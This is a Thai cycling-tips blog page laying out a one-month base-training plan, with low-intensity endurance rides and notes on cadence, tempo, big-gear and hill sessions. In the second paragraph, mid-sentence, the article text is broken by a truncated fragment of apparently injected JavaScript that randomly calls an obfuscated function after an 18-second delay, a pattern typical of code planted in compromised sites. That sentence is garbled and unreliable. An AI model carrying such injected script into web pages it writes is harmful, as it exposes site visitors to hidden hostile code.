• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

สร้างพื้นฐานการปั่นที่มั่นคงไปกับ 1 เดือนฝึกปั่น Base trainning

stepextra by stepextra
19 September 2016
in Cycling Tips, Feature, Tips & Technics
0
มารู้จัก”มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน”กัน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

สร้างพื้นฐานการปั่นที่มั่นคงไปกับ 1 เดือนฝึกปั่น Base trainning

จุดประสงค์การฝึกปั่น Base trainning ก็เพื่อพัฒนาร่างกายให้มีความพร้อมรับ workload ที่มากขึ้นในอนาคต เป็นการฝึกร่างกายให้มีความอึดหรือเป็นการฝึกโหมด Endurance เพื่อให้ร่างกายสามารถรักษาระดับพลังงานปั่นได้ระดับหนึ่งในระยะเวลาที่ตั้งไว้

การปั่นเเบบ Base trainning เป็นการปั่นที่เรียกว่า low-heart-rate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and low-intensity ride ความเข้มข้นในการฝึกจะไม่มาก เเต่จะกินเวลานานหน่อย ถือว่าเป็นการฝึกสมาธิกับความอดทนไปในตัวด้วย

เราฝึกปั่น Base trainning ก็เพื่อปรับสภาพร่างกาย ขอเรียกว่า train to train เพราะอยู่ๆ จะกระโดดไปฝึก Speed, Interval trainning ที่เเตะ HR Zone 3-4 หรือจะไปฝึกทำเวลาไต่เขาระยะเวลานานๆ เลย ดูจะอันตรายต่อร่างกายไป ร่างกายยังไม่มีความพร้อม จำเป็นต้องมีการสร้างกล้ามเนื้อ ระบบการหายใจ ปรับปอดหัวใจใหม่ซะก่อน…หลังจากสร้างความพร้อมเเล้ว เราก็เข้าสู่กระบวนการฝึกโหดๆ ต่อไป หรือ train to performance ฝึกเพื่อเพิ่มความเร็วใช้ในการเเข่งขัน ฝึกเพิ่มระดับ FTP ให้มากขึ้น เป็นต้น

ตัวอย่างตารางที่นำมาเสนอวันนี้คือการฝึกBase trainning ที่ใช้เวลา 1 เดือนหรือ 4 สัปดาห์นะครัช….

base riding

หมายเหตุ Base trainning

Fast Pedaling คือการปั่นรอบสูง 80+ rpm เเละต้องสามารถรักษาฟอร์มการปั่นได้ด้วย เลือกใช้เกียร์ที่ไม่หนักมากนัก จุดประสงค์เพื่อเพิ่มประสิทธิภาพในการควงขา

Easy ride มีจุดประสงค์เพื่อ recovery การปั่นจึงอยู่ในโซน 2 หรือ Fat-burn zone

Big Gear ,uการขึ้นจานหน้า และยังควงขาได้ความเร็วเท่าเดิมหรือสูงกว่า เเต่ต้องสามารถประคองไปจนจบ session ได้ หากมีอาการปวดเข่า ปวดขาให้ลดลงมาก่อน

Tempo คือการปั่น 90+ rpm ในโซน tempo เพือเพิ่ม aerobic fitness สร้างกล้ามเนื้อให้ทนทานต่อความเครียดที่เพิ่มขึ้น

Endurance คือการฝึกปั่นเพื่อเพิ่มความอึด รอบขาสูงและสบายตัว สามารถเลี้ยงได้จนจบ กินเวลามากกว่า 1 ชั่วโมงเป็นต้นไป เพื่อฝึกระบบ aerobic fitness และเพิ่มประสิทธิภาพการเผาผลาญพลังงานในโซน aerobic ด้วย

Hill คือการฝึกปั่นขึ้นเขา มีทั้งเเบบ endurace และ tempo เพื่อฝึกการใช้เกียร์เเละการเล่นรอบขา ยังได้ประโยชน์ในการสร้างความทนทานให้กล้ามเนื้อด้วย ถ้าไม่มีเนินเขาให้ฝึกก็ลองใช้เทรนเนอร์ทดเเทนก็ได้

อ้างอิง…www.bicycling.com

 

 

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.